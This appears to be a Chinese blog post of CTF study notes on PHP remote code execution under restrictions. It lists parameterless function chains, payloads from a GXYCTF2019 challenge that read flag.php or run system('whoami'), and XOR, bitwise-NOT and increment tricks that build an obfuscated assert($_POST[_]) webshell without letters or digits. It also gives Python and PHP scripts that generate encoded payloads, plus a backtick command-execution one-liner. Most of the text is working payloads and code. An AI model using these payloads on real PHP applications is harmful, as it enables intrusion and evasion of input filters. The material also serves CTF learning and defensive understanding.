test
发布于 2026-05-02 / 7 阅读
0
0

php代码执行

无参数rce

详细:https://xz.aliyun.com/news/7702

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html?page=2#reply-list

无参数函数

scandir() :#将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :#返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
getcwd() :#取得当前工作目录
dirname():#函数返回路径中的目录部分
array_flip() :#交换数组中的键和值,成功时返回交换后的数组
array_rand() :#从数组中随机取出一个或多个单元
array_reverse():#将数组内容反转
strrev():#用于反转给定字符串
getcwd():#获取当前工作目录路径
dirname() :#函数返回路径中的目录部分。
chdir() :#函数改变当前的目录。
eval()/assert():#命令执行
hightlight_file()/show_source()/readfile():#读取文件内容
file_get_contents()  #读取文件,需要使用var_dump输出

end() : #将内部指针指向数组中的最后一个元素,并输出
next() :#将内部指针指向数组中的下一个元素,并输出
prev() :#将内部指针指向数组中的上一个元素,并输出
reset() : #将内部指针指向数组中的第一个元素,并输出
each() :# 返回当前元素的键名和键值,并将内部指针向前移动
current() :#返回数组中的单元,默认取第一个值。pos()和current()是同一个东西

chr()  #ascii码转字符,值取模256
time()  #返回时间戳
rand()  #返回随机数
localtime(time())   time() #获取当前时间戳,作为参数传给 localtime(),返回当前本地时间的数组
getallheaders()#返回当前请求的所有请求头信息,局限于Apache
get_defined_vars()   #作用是返回当前作用域中所有已定义变量的数组

[GXYCTF2019]禁止套娃1

#返回一个数组截取第一个参数'.',读取当前文件目录文件名(数组的形式输出),将数组倒放,读取数组的下一个参数,读取文件类容
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
#键 值 替换,随机取一个值
?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));


#cookie: PHPSESSID=flag.php
?exp=highlight_file(session_id(session_start()));
#这道题不支持,需要加上正则匹配来匹配数字才能用;作用:因为cookie值不能传特殊字符,使用16进制进行编码。
?exp=eval(hex2bin(session_id(session_start())));
#bin2hex():16进制编码;hex2bin():16进制解码

#getallheaders()获取所有请求头,以最后一个请求头为第一个,添加请求头:xxx: flag.php(xxx: system('whoami');)  这道题无法使用被过滤了关键字'et'
#PHP5.3 及以下:Nginx 不能用(只有 Apache 能用)。
#PHP5.4~5.6(你现在的版本):Nginx+PHP-FPM 原生支持。
#PHP7+:全环境都稳
?exp=highlight_file(reset(getallheaders()));

#这道题无法使用被过滤了关键字'et',执行系统命令时给变量的值为'system('whoami');'
?exp=highlight_file(end(pos(get_defined_vars())))&a=flag.php;
?exp=highlight_file(end(pos(get_defined_vars())))&a=system('whoami');
?exp=highlight_file(end(next(get_defined_vars())));  #需要通过post传入一个参数为flag.php

苛刻rce

php版本/函数区别

php5中assert()是一个普通函数,支持动态调用;php7.0.12以后assert()函数不支持动态调用

#条件: php配置文件short_open_tag ,php5.4后默认支持这种写法;
<?=123?> 等价 <?echo 123?>  #第一种输出时可以省略空格,第二种不行

php5异或/取反绕过

$_ = "!((%)("^"@[[@[\\";   //构造出assert
$__ = "!+/(("^"~{`{|";   //构造出_POST
$___ = $$__;   //$___ = $_POST
$_($___[_]);   //assert($_POST[_]);
#需要将上面的镜像url编码
?exp=%24_%20%3D%20%22!((%25)(%22%5E%22%40%5B%5B%40%5B%5C%5C%22%3B%24__%20%3D%20%22!%2B%2F((%22%5E%22~%7B%60%7B%7C%22%3B%24___%20%3D%20%24%24__%3B%24_(%24___%5B_%5D)%3B

#取反
$_ = ~"%9e%8c%8c%9a%8d%8b";   //得到assert,此时$_="assert"
$__ = ~"%a0%af%b0%ac%ab";   //得到_POST,此时$__="_POST"
$___ = $$__;   //$___=$_POST
$_($___[_]);   //assert($_POST[_])

#
$_=[].'';   //得到"Array"
$___ = $_[$__];   //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___;   //$__="A"
$_ = $___;   //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$___ .= $__;   //$___="AS"
$___ .= $__;   //$___="ASS"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;   //得到"E",此时$__="E"
$___ .= $__;   //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++;   //得到"R",此时$__="R"
$___ .= $__;   //$___="ASSER"
$__++;$__++;   //得到"T",此时$__="T"
$___ .= $__;   //$___="ASSERT"
$__ = $_;   //$__="A"
$____ = "_";   //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"P",此时$__="P"
$____ .= $__;   //$____="_P"
$__ = $_;   //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;   //得到"O",此时$__="O"
$____ .= $__;   //$____="_PO"
$__++;$__++;$__++;$__++;   //得到"S",此时$__="S"
$____ .= $__;   //$____="_POS"
$__++;   //得到"T",此时$__="T"
$____ .= $__;   //$____="_POST"
$_ = $$____;   //$_=$_POST
$___($_[_]);   //ASSERT($POST[_])

php7

python取反代码脚本
#取反脚本 通用
def get(shell):
    hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
    hexbit = hexbit.replace('0x','%')
    a='(~'
    b=')'
    hexbit=a+hexbit+b
    print(hexbit)
get('system')
get('ls')
php取反代码/异或脚本
#取反
<?php
$a = "phpinfo";          // 目标字符串(要还原的函数名)
echo "(~";               // 输出取反运算符前缀
// 遍历字符串的每个字符
for ($i = 0; $i < strlen($a); $i++) {
    // 对每个字符按位取反 → 转十六进制 → 拼接URL编码前缀%
    echo "%".bin2hex(~$a[$i]);
}
echo ")";                // 输出取反运算符后缀
?>

#异或
<?php
$a = "phpinfo";

// 第一部分:对每个字符和0xff异或,转成十六进制URL编码
for ($i = 0; $i < strlen($a); $i++) {
    echo "%".dechex(ord($a[$i])^0xff);
}

echo "^"; // 输出分隔符

// 第二部分:输出与原字符串等长的%ff序列
for ($i = 0; $i < strlen($a); $i++) {
    echo "%ff";
}
?>
php过滤 括号 引号 空格 分号 命令在$_SESSION['']里
#其他
?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>

很多没写可以看上面的文章


评论